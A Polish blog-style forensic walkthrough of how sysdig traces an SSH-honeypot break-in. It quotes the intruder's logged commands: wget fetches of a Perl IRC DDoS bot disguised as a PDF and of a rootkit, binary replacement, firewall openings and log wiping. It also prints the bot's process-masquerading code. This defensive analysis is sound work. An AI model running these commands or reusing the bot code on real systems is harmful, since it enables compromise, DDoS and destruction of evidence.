Analiza powłamaniowa systemu Linux za pomocą sysdig

Wstęp

Dla administratorów systemów może to być jedno z lepszych narzędzi do wyszukiwania i diagnozowania różnych problemów oraz wąskich gardeł pod względem wydajności w systemie [podobne narzędzie dla systemów z rodziny Unix (Solaris, Mac OS X, FreeBSD) stworzył Brendan D. Gregg – dtrace]. Poświęcając kilka minut na zapoznanie się z jego podstawowym użyciem oraz kilkoma przykładami, jesteśmy w stanie zapomnieć o bólu związanym z badaniem różnych problemów systemu – czy to w środowiskach zwirtualizowanych, czy na „gołym metalu”.

Narzędzie to można również bardzo prosto wykorzystać do stworzenia honeypotu, co udowodnił Gianluca Borello, który dzięki różnym dostawcom (AWS, Rackspace oraz Digital Ocean) stworzył ponad 20 maszyn w chmurze (opartych o system Ubuntu 12.04) z dość ubogą pod względem bezpieczeństwa konfiguracją (serwer SSH umożliwiał zalogowanie się na serwer za pomocą konta „root” przy użyciu hasła: password). Użytkownicy przejmujący się choć trochę bezpieczeństwem swoich systemów w publicznych chmurach bez problemu potwierdzą popularność systematycznego skanowania i ataków brute force na serwery SSH w tego typu środowiskach i sieciach (np. 1757 prób z 242 adresów IP w ciągu 30 dni). Po 4 godzinach jedna z maszyn została skompromitowana. Jednak zanim to nastąpiło, na maszynie został odpalony sysdig, który za pomocą s3fs-fuse zapisywał całą aktywność z maszyny na udział S3.

sysdig -s 4096 -z -w /mnt/sysdig/$(hostname).scap.gz

Od razu można było zauważyć obcą aktywność, ponieważ wielkość jednego z plików odpowiedzialnych za dany host skoczyła z normalnego szumu aktywności systemu operacyjnego wynoszącego mniej więcej 100KB na godzinę do paru megabajtów. Podsłuch maszyny skończył się na pliku o zajętości 150MB. Wstępna analiza procesów wykazała, że serwer już zaczął świadczyć podejrzane usługi (w pierwotnej wersji uruchomiony był tylko daemon SSH):

$ sysdig -r trace.scap.gz -c topprocs_net
Bytes     Process
------------------------------
439.63M   /usr/sbin/httpd
422.29M   /usr/local/apac
5.27M     sshd
2.38M     wget
20.81KB   httpd
9.94KB    httpd
6.40KB    perl

Sieciowo również serwer nie próżnował, generując blisko 800MB ruchu przez protokół UDP. Możliwe, że maszyna stała się częścią botnetu sterowaną za pomocą sieci IRC do generowania ataków DoS na żądanie.

$ sysdig -r trace.scap.gz -c topconns
Bytes     Proto     Connection
------------------------------
439.58M   udp       170.170.35.93:50978->39.115.244.150:800
422.24M   udp       170.170.35.93:55169->39.115.244.150:800
4.91M     tcp       85.60.66.5:59893->170.170.35.93:22
46.72KB   tcp       170.170.35.93:39193->162.243.147.173:3132
43.62KB   tcp       170.170.35.93:39194->162.243.147.173:3132
20.81KB   tcp       170.170.35.93:53136->198.148.91.146:6667
1000B     udp       170.170.35.93:0->39.115.244.150:800

Za pomocą funkcji spy_users autor pułapki mógł zobaczyć, jakie dokładnie polecenia wydał złośliwy użytkownik:

$ sysdig -r trace.scap.gz -c spy_users
06:11:28 root) cd /usr/sbin
06:11:30 root) mkdir .shm
06:11:32 root) cd /usr/sbin/.shm
06:11:39 root) wget xxxxxxxxx.altervista.org/l.tgz
06:11:40 root) tar zxvf l.tgz
06:11:42 root) cd /usr/sbin/.shm/lib/.muh/src
06:11:43 root) /bin/bash ./configure --enable-local
06:11:56 root) make all

Agresor stworzył katalog o dość sprytnej nazwie „.shm” w ścieżce /usr/sbin i do niego ściągnął oraz skompilował program pośredniczący pomiędzy klientem a serwerem IRC o nazwie muh. Gianluca był na tyle szybki, że udało mu się ponownie ściągnąć archiwum, w którym znalazł inne ciekawe rzeczy włamywacza, w tym dość spersonalizowane pliki konfiguracyjne, dane różnych użytkowników z hasłami oraz kilka nazw kanałów IRC w sieci Undernet. Przy okazji, pozostając w tematyce sprytnych nazw katalogów wśród włamywaczy – Fernando Duran, korzystając z prostego honeypota SSH – Kippo, zarejestrował ciekawe zdarzenie:

$ cd /var/tmp;mkdir " ";cd " ";mkdir .ssh;cd .ssh;
$ wget http://somebadsite.com/expl.tgz
$ tar xvf expl.tgz;rm -rf expl.tgz;cd expl;chmod +xw *
$ ./a1

Intruz w tymczasowym katalogu, który zazwyczaj jest udostępniony globalnie do zapisu, stworzył na swój sposób „ukryty” katalog, którego nazwa składała się tylko z jednej [:spacji:], co nie stanowi dość częstego widoku.

Wracając do naszego pierwotnego włamywacza, którego kolejnym krokiem było:

06:13:19 root) wget http://xxxxxxxxx.altervista.org/.sloboz.pdf
06:13:20 root) perl .sloboz.pdf
06:13:20 root) rm -rf .sloboz.pdf
06:12:58 root) /sbin/iptables -I INPUT -p tcp --dport 9000 -j ACCEPT
06:12:58 root) /sbin/iptables -I OUTPUT -p tcp --dport 6667 -j ACCEPT

1. ściągnięcie skryptu perl pod fałszywą postacią ukrytego pliku PDF,
2. odpalenie go oraz
3. upewnienie się, że ruch sieciowy na lokalnym firewallu zostanie przepuszczony dla portu 9000 (ruch przychodzący) oraz 6667 (ruch wychodzący – standardowy port serwerów IRC).

Niestety tym razem nie udało się ponownie ściągnąć pliku w celu jego analizy, ale na szczęście sysdig wywołany z parametrem -s 4096, rejestrując każdą operację I/O, zapisywał jej 4096 bajtów danych, a to pozwoliło zobaczyć, co dokładnie program wget zapisał na dysk:

$ sysdig -r trace.scap.gz -A -c echo_fds fd.filename=.sloboz.pdf
------ Write 3.89KB to /run/shm/.sloboz.pdf
#!/usr/bin/perl
##  Undernet Perl IrcBot v1.02012 bY DeBiL @RST Security Team
##      Stealth MultiFunctional IrcBot Writen in Perl
##        Teste on every system with PERL instlled
##
##     This is a free program used on your own risk.
##        Created for educational purpose only.
## I'm not responsible for the illegal use of this program.
...
## !u !join <#channel>          ## !u @udp1 <ip> <port> <time> 
## !u !part <#channel>          ## !u @udp2 <ip> <packet size> <time>

Czyli na serwer został wgrany klient do przeprowadzania ataków DoS z możliwością sterowania nim z sieci IRC tak, aby szkodliwy użytkownik mógł łatwo sterować większą liczbą maszyn. Czytając nagłówek pobranego skryptu perl, można łatwo dojść do wniosku, że wystarczy przesłać klientowi wiadomość IRC „@udp”, aby ten zaczął atakować podany w tej samej wiadomości adres ofiary.

Za pomocą sysdig bardzo łatwo to można sprawdzić:

$ sysdig -r trace.scap.gz -A -c echo_fds evt.buffer contains @udp
------ Read 67B from 170.170.35.93:39194->162.243.147.173:3132
:x!~xxxxxxxxx@xxxxxxxxx.la PRIVMSG #nanana :!u @udp1 39.115.244.150 800 300

Jak widać bot otrzymał za pomocą połączenia TCP polecenie zaatakowania adresu IP: 39.115.244.150 na porcie 800 (przez 5 minut), co jest tym samym adresem, do którego wygenerowano na początku przygody z śledztwem blisko 800MB ruchu sieciowego (listing z połączeniami sieciowymi). Wszystko powoli zaczyna nabierać sensu.

Intruz, nie spoczywając na laurach, pomyślał, że warto zapewnić sobie dostęp do maszyny na wszelki wypadek, gdyby hasło do użytkownika root miało się zmienić:

06:13:11 root) wget xxxxxxxxx.xp3.biz/other/rk.tar
06:13:12 root) tar xvf rk.tar
06:13:12 root) rm -rf rk.tar
06:13:12 root) cd /usr/sbin/rk
06:13:17 root) tar zxf mafixlibs

Jak pokazuje Google mafixlibs to rootkit przeznaczony dla systemu Linux 2.6, a do badań teoretycznie możemy go pobrać stąd. Jego zawartość prezentuje się następująco:

$ sysdig -r trace.scap.gz -c topfiles_bytes proc.name contains tar and proc.args \ 
contains mafixlibs
Bytes     Filename
------------------------------
207.76KB  /usr/sbin/rk/bin/.sh/sshd
91.29KB   /usr/sbin/rk/bin/ttymon
80.69KB   /usr/sbin/rk/bin/lsof
58.14KB   /usr/sbin/rk/bin/find
38.77KB   /usr/sbin/rk/bin/dir
38.77KB   /usr/sbin/rk/bin/ls
33.05KB   /usr/sbin/rk/bin/lib/libproc.a
30.77KB   /usr/sbin/rk/bin/ifconfig
30.71KB   /usr/sbin/rk/bin/md5sum
25.88KB   /usr/sbin/rk/bin/syslogd

Kilka dobrych, skompromitowanych plików binarnych nigdy nie jest złe, więc spy_users powinien również zauważyć, jak atakujący podmienia pliki systemowe:

06:13:18 root) chattr -isa /sbin/ifconfig
06:13:18 root) cp /sbin/ifconfig /usr/lib/libsh/.backup
06:13:18 root) mv -f ifconfig /sbin/ifconfig
06:13:18 root) chattr +isa /sbin/ifconfig

I w rzeczy samej. Nawet był tak miły, że wykonał kopię zapasową oryginalnego pliku.

Na razie sysdig pozwolił wyjaśnić pochodzenie bota IRC, flood za pomocą pakietów UDP oraz podmienione pliki binarne.

Została tylko jedna rzecz do rozgryzienia. Dlatego topprocs_net pokazał, że cały ruch sieciowy został wygenerowany przez /usr/sbin/httpd (Apache?) oraz /usr/local/apache? – czyli pliki binarne(?), które nie zostały uwzględnione w żadnym poleceniu wychwyconym przez spy_users. Skoro skrypt w perlu został zainstalowany do wysyłania pakietów UDP – może on być odpowiednim tropem.

Możemy sprawdzić wszystkie zdarzenia związane z „/usr/local/apac”:

$ sysdig -r trace.scap.gz -A evt.args contains /usr/local/apac
...
955716 06:13:20.225363385 0 perl (10200) < clone res=10202(perl)
exe=/usr/local/apach args= tid=10200(perl) pid=10200(perl)
ptid=7748(-bash) cwd=/tmp fdlimit=1024 flags=0 uid=0 gid=0
exepath=/usr/bin/perl
...

Przy okazji możemy zobaczyć, kiedy proces skryptu perl o id = 10200 wystartował:

$ sysdig -r trace.scap.gz proc.pid = 10200
954458 06:13:20.111764417 0 perl (10200) < execve res=0 exe=perl
args=.sloboz.pdf. tid=10200(perl) pid=10200(perl) ptid=7748(-bash)
cwd=/run/shm fdlimit=1024 exepath=/usr/bin/perl

Tak jak można było przewidzieć – proces udający serwer HTTPd jest niczym innym niż wcześniej ściągniętym plikiem „.sloboz.pdf„.

Ale co dokładnie przed chwilą się stało? Odpalony skrypt perl wykonał fork (zdarzenie 955716), ale w tej samej chwili, jeszcze przed tym faktem, zmienił swoją nazwę pliku wykonawczego oraz argumenty wywołania („exe” i „args”) z „perl .sloboz.pdf” (zdarzenie 954458) na losowy, „nie budzący” podejrzeń: „/usr/local/apach” (zdarzenie 955716). Ma to trochę na celu oszukać takie polecenia jak ps, czy top i patrzących na nich wynik mało doświadczonych użytkowników.

Czytając dalej kod źródłowy skryptu (za pomocą echo_fds), można potwierdzić tę tezę:

my @rps = ("/usr/local/apache/bin/httpd -DSSL","/usr/sbin/httpd -k start -DSSL",
"/usr/sbin/httpd","/usr/sbin/sshd -i","/usr/sbin/sshd","/usr/sbin/sshd -D",
"/sbin/syslogd","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron");

my $process = $rps[rand scalar @rps];

$0="$process"."\0"x16;;

my $pid=fork;

Proces skryptu zmienia swoje argumenty wywołania na losowe ciągi podane w tablicy @rps i wtedy forkuje się w celu przejścia w tryb pracy w tle. Po tych zabiegach maszyna pozostaje pod pełną kontrolą intruza. Ostatnim etapem jest posprzątanie po sobie i usunięcie swojej obecności z logów systemowych:

06:13:30 root) rm -rf /var/log/wtmp
06:13:30 root) rm -rf /var/log/lastlog
06:13:30 root) rm -rf /var/log/secure
06:13:30 root) rm -rf /var/log/xferlog
06:13:30 root) rm -rf /var/log/messages
06:13:30 root) rm -rf /var/run/utmp
06:13:30 root) touch /var/run/utmp
06:13:30 root) touch /var/log/messages
06:13:30 root) touch /var/log/wtmp
06:13:30 root) touch /var/log/messages
06:13:30 root) touch /var/log/xferlog
06:13:30 root) touch /var/log/secure
06:13:30 root) touch /var/log/lastlog
06:13:30 root) rm -rf /var/log/maillog
06:13:30 root) touch /var/log/maillog
06:13:30 root) rm -rf /root/.bash_history
06:13:30 root) touch /root/.bash_history

Podsumowanie

Jeśli chodzi o charakterystykę powyższego włamania – to po zachowaniu intruza można odnieść wrażenie, że zależało mu tylko na zdobyciu kolejnego serwera do zastosowań typowo botnetowych:

• nie zadbał o wykasowanie tylko ostatniej swojej aktywności z plików historii, aby zatrzeć starannie ślady, lecz „niechlujnie” usunął ich całą zawartość;
• w krótkim przedziale czasu wysłał ponad 800MB ruchu sieciowego UDP;
• odpalił nigdy nie uruchomione fałszywe serwery.

To wszystko z łatwością mogłoby zostać zauważone nawet przez nieświadomego niczego administratora. Jest to typowa gra na „masę” – złamać jak najwięcej maszyn i je wykorzystać – ponieważ nawet początkujące skrypciaki mają pełną świadomość, że czas kontroli nad taką maszyną może być bardzo krótki – dlatego należy ją maksymalnie wyeksploatować. Świadczyć o tym też mogą te wszystkie polecenia, których „wpisywanie” trwało zaledwie dwie minuty. Autor analizy jest prawie pewien, że wszystkie te kroki zostały wyzwolone przez zautomatyzowany skrypt odpalony prawdopodobnie z innego przejętego serwera. Przynajmniej do pierwszego hopa pozostaje „nienamierzalny”…